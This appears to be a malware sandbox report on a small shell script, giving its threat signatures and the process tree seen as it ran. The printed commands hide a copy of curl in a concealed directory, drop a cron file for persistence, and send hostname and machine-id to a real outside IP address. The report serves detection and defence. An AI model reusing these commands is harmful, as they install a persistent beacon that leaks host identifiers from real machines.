Overview

overview

7

Static

static

1

887cee8882...fef.sh

ubuntu-18.04-amd64

7

887cee8882...fef.sh

debian-9-armhf

7

887cee8882...fef.sh

debian-9-mips

7

887cee8882...fef.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    6s
  • max time network
    9s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20260513-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    02/10/2026, 06:40

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    887cee8882a211aa262f950214ae561cbce8f400ef63a9d46d7583c6cfbeafef.sh
  • Size 957B
  • Sample261002-hfc75att8m
  • SHA256 887cee8882a211aa262f950214ae561cbce8f400ef63a9d46d7583c6cfbeafef
  • MD5 SHA1 SHA512 TLSH
Score
7/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalation

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Creates/modifies Cron job 1 TTPs 2 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Reads runtime system information 6 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • cURL User-Agent 2 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • /tmp/887cee8882a211aa262f950214ae561cbce8f400ef63a9d46d7583c6cfbeafef.sh
    /tmp/887cee8882a211aa262f950214ae561cbce8f400ef63a9d46d7583c6cfbeafef.sh
    1⤵
    • Creates/modifies Cron job
    PID:702
    • /bin/mkdir
      mkdir /usr/local/lib/.sysd
      2⤵
      • Reads runtime system information
      PID:704
    • /bin/mkdir
      mkdir /etc/cron.d
      2⤵
      • Reads runtime system information
      PID:707
    • /bin/cp
      cp /usr/bin/curl /usr/local/lib/.sysd/curl
      2⤵
      • Reads runtime system information
      PID:713
    • /bin/chmod
      chmod 755 /usr/local/lib/.sysd/curl
      2⤵
      • File and Directory Permissions Modification
      PID:715
    • /bin/hostname
      hostname
      2⤵
        PID:717
      • /bin/cat
        cat /etc/machine-id
        2⤵
          PID:719
        • /bin/uname
          uname -m
          2⤵
            PID:721
          • /bin/hostname
            hostname
            2⤵
              PID:723
            • /bin/chmod
              chmod 755 /usr/local/lib/.sysd/hb
              2⤵
              • File and Directory Permissions Modification
              PID:724
            • /bin/sh
              sh /usr/local/lib/.sysd/hb
              2⤵
                PID:726
                • /usr/bin/curl
                  curl -s -A curl/8.4.0 "http://8.216.48.50/h?h=debian9-mipsel-20260513-en-14-9038f8139d2246db821011bf2850ffa4-mips&v=c3"
                  3⤵
                  • Reads runtime system information
                  PID:728
                • /usr/bin/wget
                  wget -q -U curl/8.4.0 -O /dev/null "http://8.216.48.50/h?h=debian9-mipsel-20260513-en-14-hb&v=c3"
                  3⤵
                  • System Network Configuration Discovery
                  PID:740
              • /bin/ls
                ls -l /etc/cron.d/
                2⤵
                • Reads runtime system information
                PID:742
              • /bin/cat
                cat /etc/cron.d/.clown
                2⤵
                  PID:743
                • /bin/hostname
                  hostname
                  2⤵
                    PID:744
                  • /usr/bin/curl
                    curl -s -o /dev/null "http://8.216.48.50/h?h=debian9-mipsel-20260513-en-14-DONE&v=c3"
                    2⤵
                    • Reads runtime system information
                    PID:745

                Network

                      MITRE ATT&CK Enterprise v16

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      .clown
                      • Path /etc/cron.d/.clown
                      • Size 57B
                      • SHA256 87d22e6ce815931c47820fd1ddbbbeaa8b2ae5ae4c0be1a40917e48a1436ecc2
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      curl
                      • Path /usr/local/lib/.sysd/curl
                      • Size 186KB
                      • SHA256 e3c97425e53915f35f1e8315b39d827714c81142a8e6899b7d45cefa9a31f6af
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      hb
                      • Path /usr/local/lib/.sysd/hb
                      • Size 10B
                      • SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
                      • MD5 SHA1 SHA512
                      Submit Download

                      hb
                      • Path /usr/local/lib/.sysd/hb
                      • Size 146B
                      • SHA256 f3ed07f8397620041988c5df70947c72db3ec6a464c9a589038fd1b681a36a53
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      hb
                      • Path /usr/local/lib/.sysd/hb
                      • Size 256B
                      • SHA256 86d4e06ee6d19ee91e3e7b09211ca4528908cf8fc387a45b979413568d46b441
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download